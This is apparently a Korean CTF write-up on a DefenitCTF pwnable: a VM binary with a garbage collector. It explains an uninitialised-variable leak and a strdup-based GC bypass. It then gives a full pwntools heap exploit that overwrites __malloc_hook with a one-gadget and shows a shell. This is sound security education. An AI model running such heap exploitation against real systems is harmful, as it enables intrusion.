Concept
원하는 자료형(int, char, string)의 변수를 Allocate, Delete, Edit, Print, Operate, Concat 할 수 있는 프로그램을 VM으로 구현한 바이너리.
Analysis
동작 방식 : Code
입력 -> (getOpcode
-> startVM
) 반복 -> 종료
initProgram()
__int64 initProgram()
{
pthread_t newthread; // [rsp+18h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
if ( pthread_create(&newthread, 0LL, initGclist, 0LL) < 0 )
exit(-1);
pthread_detach(newthread);
return 0LL;
}
버퍼 세팅 후 pthread_create
함수로 스레드를 생성한다. 이 쓰레드가 생성되면서 바이너리와 initGclist
함수가 같이 작동하게 된다.
initList()
void __noreturn initList()
{
garbage *start; // [rsp+0h] [rbp-10h]
list = calloc(1uLL, 0x18uLL);
list->ptr = "HEAD";
list->ref = -2;
while ( 1 )
{
start = list;
while ( start )
{
if ( start->ref )
{
start = start->next;
}
else
{
free(start->ptr);
start->ref = -1;
}
}
}
}
대충 보면 링크드리스트로 구현되어있고, 기본적으로 list->ref
를 -2로 설정해두는 모습이다.
만약, start->ref
가 1이면 start = start -> next
로 링크드리스트의 다음 노드를 가르키고, ref
가 0일 경우네는 free
시켜주고 ref
를 -1
로 설정해준다.
정리 : VM을 동작시키면서 메모리를 Garbage Collecter로 관리함. 신경써야할 부분은 ref
가 0이 될때 free
된다는 점.
이렇게 GC
까지 설정해주었으면 이제 페이로드를 입력받는다.
size = readStr(heapPtr, 0x2000);
아래부터는 VM이 인자를 파싱하는 부분이다.
getOpcode()
signed __int64 getOpcode()
{
__int64 v0; // rdx
signed int v1; // eax
signed int v2; // eax
unsigned int v3; // ST20_4
signed int v4; // eax
signed int v5; // eax
unsigned int argv1; // ST20_4
signed int v7; // eax
unsigned int atgv3; // ST20_4
signed int v9; // eax
int v11; // [rsp+14h] [rbp-18h]
int v12; // [rsp+18h] [rbp-14h]
v0 = code[0];
++code[0];
v12 = *(argv + v0);
v11 = *(argv + v0);
if ( v12 == 1 )
goto LABEL_9;
switch ( v11 )
{
case 2:
goto LABEL_14;
case 3:
v2 = code[0]++;
v3 = ((v12 << 24) & 0xFF00FFFF) + (*(argv + v2) << 16);
v4 = code[0]++;
return (v3 & 0xFFFF00FF) + (*(argv + v4) << 8);
case 4:
LABEL_14:
v1 = code[0]++;
return ((v12 << 24) & 0xFF00FFFF) + (*(argv + v1) << 16);
}
if ( (v11 - 5) < 2 )
{
LABEL_9:
v5 = code[0]++;
argv1 = ((v12 << 24) & 0xFF00FFFF) + (*(argv + v5) << 16);
v7 = code[0]++;
atgv3 = (argv1 & 0xFFFF00FF) + (*(argv + v7) << 8);
v9 = code[0]++;
return (atgv3 & 0xFFFFFF00) + *(argv + v9);
}
return 0LL;
}
뭔가 복잡한 모습. switch
문에 들어가는 v11
은 우리가 입력한 heapPtr
의 첫번째 문자가 들어간다. 만약 2,4
일때는 인자를 한개, 3
일때는 두개, 1,5,6
일때는 3개를 설정해준다. 디게 복잡한 연산을 사용한다.
startVm()
__int64 __fastcall startVm(__int64 opcode)
{
unsigned int returnValue; // [rsp+1Ch] [rbp-4h]
switch ( BYTE3(opcode) )
{
case 1uLL:
if ( variableAllocate(opcode) )
goto LABEL_21;
returnValue = 0;
break;
case 2uLL:
if ( variableDelete(opcode) )
goto LABEL_21;
returnValue = 0;
break;
case 3uLL:
if ( variableEdit(opcode) )
goto LABEL_21;
returnValue = 0;
break;
case 4uLL: // print value
if ( variablePrint(opcode) )
goto LABEL_21;
returnValue = 0;
break;
case 5uLL:
if ( variableOperate(opcode) )
goto LABEL_21;
returnValue = 0;
break;
case 6uLL:
if ( variableConcat(opcode) )
LABEL_21:
returnValue = 1;
else
returnValue = 0;
break;
default:
returnValue = 0;
break;
}
return returnValue;
}
인자 세팅도 끝났겠다 본격적으로 VM이 돌아가기 시작한다. 일단 눈여겨보아야 할 부분은 BYTE3(opcode)
요기인데, 기본적으로 아이다에서는 12 34 56 78
이라는 메모리에서 78
만을 가져오기 위하여 BYTE(memory)
라고 표기하고, 56
만을 가져오려면 BYTE1(memory)
라고 표기한다. 결국 BYTE3
이란 뜻은 4바이트중 최상위 한바이트를 가져오겠다는 이야기이다.
즉, 위에서 무슨 복잡한 연산을 했든 결국 우리가 입력한대로 VM
이 작동한다. 뭐 그냥 암호문을 암호화시키고 복호화시키는 느낌. 세팅한 인자들도 결국 함수 내부에서 우리가 입력한대로 복호화 된 후에 함수에 인자로 들어가게 된다.
Vulnerability
variableOperate()
if ( !strcmp(*variablePtr[v4], "INT") && !strcmp(*variablePtr[a1], "INT") )
{
switch ( v5 )
{
case 1:
v3 = &variablePtr[v4][1][variablePtr[a1][1]];
break;
case 2:
v3 = variablePtr[v4][1] - variablePtr[a1][1];
break;
case 3:
v3 = variablePtr[a1][1] * variablePtr[v4][1];
break;
case 4:
if ( variablePtr[a1][1] )
v2 = variablePtr[v4][1] / variablePtr[a1][1];
else
v2 = variablePtr[v4][1];
v3 = v2;
break;
}
variablePtr[v4][1] = v3;
v6 = 1;
}
일단 첫번째 취약점은 variableOperate
함수에 있다. 이 함수는 INT
형의 변수들을 +
,-
,*
,/
를 각각 1,2,3,4라고 설정하고 연산을진행하게 된다. 하지만 만약 5를 입력하게 된다면, 아무런 연산도 하지 않고 그냥 variablePtr[v4][1] = v3;
요렇게 값을 넣어버린다.
즉, 초기화되지않은 v3
변수가 variablePtr
에 들어간다. 이렇게 pie
를 leak
할 수 있다.
variableAllocate()
__int64 __fastcall sub_D80(int a1)
{
int v2; // [rsp+Ch] [rbp-14h]
v2 = (*&a1 & 0xFF0000uLL) >> 16;
if ( !variablePtr[v2] )
{
variablePtr[v2] = sub_1A60(1, 16);
*variablePtr[v2] = (&off_2030A0)[((a1 & 0xFF00) >> 8) % 3];
if ( !strcmp(*variablePtr[v2], "INT") )
{
variablePtr[v2][1] = a1;
}
else if ( !strcmp(*variablePtr[v2], "STRING") )
{
variablePtr[v2][1] = sub_1A60(1, 16);
*(variablePtr[v2][1] + 1) = a1;
*variablePtr[v2][1] = sub_1A60(a1, 1);
}
else
{
if ( strcmp(*variablePtr[v2], "CHAR") )
return 0;
*(variablePtr[v2] + 8) = a1;
}
return 1;
}
return 0;
}
두번째 취약점이 핵심적이라고 볼 수 있다. 일단 두번째 취약점을 설명하기 전에 variableAllocate
함수에서 어떤식으로 변수를 할당하는지 알아보자.
만약 변수가 STRING
형이면 아래와 같이 할당된다.
[STRING]
char *type ---> "STRING"
stringStruct string ---> char *value ---> "HELLO"
|
---> int size ---> strlen(string->value)
추가로, string
변수를 관리하기 위한 GC node
도 추가로 할당된다.
variableConcat()
__int64 __fastcall variableConcat(__int64 a1)
{
size_t v1; // rax
char *v2; // rax
const char *v3; // ST40_8
const char *v4; // ST38_8
char *v5; // ST30_8
signed __int64 v6; // rsi
char s; // [rsp+4Fh] [rbp-21h]
char v9; // [rsp+52h] [rbp-1Eh]
char v10; // [rsp+53h] [rbp-1Dh]
int v11; // [rsp+54h] [rbp-1Ch]
int v12; // [rsp+58h] [rbp-18h]
int v13; // [rsp+5Ch] [rbp-14h]
__int64 v14; // [rsp+60h] [rbp-10h]
unsigned int v15; // [rsp+6Ch] [rbp-4h]
v14 = a1;
v13 = (a1 & 0xFF0000uLL) >> 16;
v12 = (a1 & 0xFF00) >> 8;
v11 = a1;
if ( variablePtr[v12] )
{
if ( variablePtr[v11] )
{
if ( v13 == 1 )
{
if ( strcmp(*variablePtr[v12], "CHAR") || strcmp(*variablePtr[v11], "CHAR") )
return 0;
v10 = *(variablePtr[v12] + 8);
v9 = *(variablePtr[v11] + 8);
snprintf(&s, 3uLL, "%c%c", v10, v9);
*variablePtr[v12] = "STRING";
variablePtr[v12][1] = sub_1A60(1, 16);
v1 = strlen(&s);
*(variablePtr[v12][1] + 1) = v1;
v2 = strdup(&s);
*variablePtr[v12][1] = v2;
}
else
{
if ( v13 != 2 )
return 0;
if ( strcmp(*variablePtr[v12], "STRING") || strcmp(*variablePtr[v11], "STRING") )
return 0;
v3 = variablePtr[v12][1];
v4 = variablePtr[v11][1];
v5 = sub_1A60(*(v4 + 2) + *(v3 + 2) + 1, 1);
v6 = *(v4 + 1) + *(v3 + 1) + 1LL;
snprintf(v5, v6, "%s%s", *v3, *v4);
sub_1B00(*variablePtr[v12][1], v6);
*(variablePtr[v12][1] + 1) = strlen(v5);
*variablePtr[v12][1] = v5;
}
return 1;
}
v15 = 0;
}
else
{
v15 = 0;
}
return v15;
}
하지만 위의 variableConcat
함수에서는 살짝 예외가 발생하는데, CHAR
+ CHAR
= STRING
이 되는 과정에서 strdup
함수를 사용하여 힙포인터를 할당한다. 하지만, 위에서 설명했듯이 원래 STRING
타입의 변수를 할당하려면 해당 변수를 관리하기위한 GC node
까지 같이 할당해주는 함수를 사용해준다.
근데 여기서는 strdup
을 사용하여 STRING type
변수를 할당해준다. 이로인해서 GC
동작에 오류가 생기게 되며, 이를 통해서 free
된 청크의 fd
를 덮을 수 있다.
Exploit
취약점 찾는 시간보다 익스하는 시간이 더 오래걸림.
ASLR
을 끄고 익스했기때문에 힙 1byte
브포가 필요하다. 특이점은 libc
내에 __malloc_hook
을 가르키는 변수가 있길래 이걸로 익스했다.
from pwn import *
#context.log_level = "DEBUG"
binary = "./main"
e = ELF(binary)
libc = e.libc
r = process(binary, aslr = False)
def senddata(payload):
sleep(0.2)
r.send(payload)
ALLOCATE = lambda index,tp,data : p8(1) + p8(index) + p8(tp) + p8(data)
DELETE = lambda index : p8(2) + p8(index)
EDIT = lambda index,data : p8(3) + p8(index) + p8(data)
PRINT = lambda index : p8(4) + p8(index)
OPERATE = lambda tp,index1,index2 : p8(5) + p8(tp) + p8(index1) + p8(index2)
CONCAT = lambda tp,index1,index2 : p8(6) + p8(tp) + p8(index1) + p8(index2)
CHARINT = lambda char : ord(char)
INT = 0
STRING = 1
CHAR = 2
CONCATCHAR = 1
CONCATSTRING = 2
payload = ""
payload += ALLOCATE(0x0,INT,0x11)
payload += ALLOCATE(0x1,INT,0x22)
payload += OPERATE(5,0x0,0x1)
payload += PRINT(0x00)
payload += ALLOCATE(0x10,CHAR,CHARINT("A"))
payload += ALLOCATE(0x11,CHAR,CHARINT("B"))
payload += ALLOCATE(0x12,STRING,0x40)
payload += ALLOCATE(0x13,CHAR,CHARINT("C"))
payload += ALLOCATE(0x14,CHAR,CHARINT("D"))
payload += ALLOCATE(0x15,STRING,0x40)
payload += EDIT(0x12,0x40)
payload += EDIT(0x15,0x40)
payload += CONCAT(CONCATCHAR,0x10,0x11)
payload += CONCAT(CONCATCHAR,0x13,0x14)
payload += CONCAT(CONCATSTRING,0x10,0x12)
payload += CONCAT(CONCATSTRING,0x13,0x15)
payload += ALLOCATE(0x21,STRING,0x60)
payload += ALLOCATE(0x22,STRING,0x60)
payload += EDIT(0x21,0x60)
payload += EDIT(0x13,0x2)
payload += ALLOCATE(0x23,STRING,0x40)
payload += ALLOCATE(0x24,STRING,0x40)
payload += EDIT(0x24,0x40)
payload += PRINT(0x22)
payload += EDIT(0x24,0x40)
payload += EDIT(0x22,0x8)
payload += ALLOCATE(0x25,STRING,0x40)
r.recvuntil("Code :> ")
r.send(payload)
pause()
r.recvuntil("[INT 0 : ")
pie = int(r.recv(14),10) - 0xe32
log.info("pie : " + hex(pie))
sleep(0.5)
senddata("!" * 0x40)
senddata("@" * 0x40)
senddata("X" * 0x58 + p64(0x51))
senddata("\x10\xa7")
senddata(p64(pie + 0x2030D0 + 0x8 * 0x10) * 6 + p64(pie + 0x1E40) + p64(pie + 0x202fd0))
r.recvuntil("[STRING 34 : ")
l = u64(r.recvuntil("\x15")[-6:] + "\x00\x00") - libc.symbols["_IO_2_1_stdout_"]
log.info("libc base : " + hex(l))
senddata(p64(pie + 0x2030D0 + 0x8 * 0x10) * 6 + p64(pie + 0x1E40) + p64(l + 0x3c3ef0))
senddata(p64(l + 0xf1147))
r.interactive()
juntae@ubuntu:~/ctf/DefenitCTF$ p ex.py
[*] '/home/juntae/ctf/DefenitCTF/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 4541
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] pie : 0x555555554000
[*] libc base : 0x155554d47000
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[RCTF] vm ( write - up ) (0) | 2020.06.10 |
---|---|
[RCTF] bf ( write-up ) (0) | 2020.06.02 |
[d^ctf] babyrop ( write-up ) (0) | 2020.02.27 |
[codegate] 7amebox1 ( write-up ) (0) | 2020.02.26 |
[HITCON] children_tcahce ( write-up ) (0) | 2019.12.18 |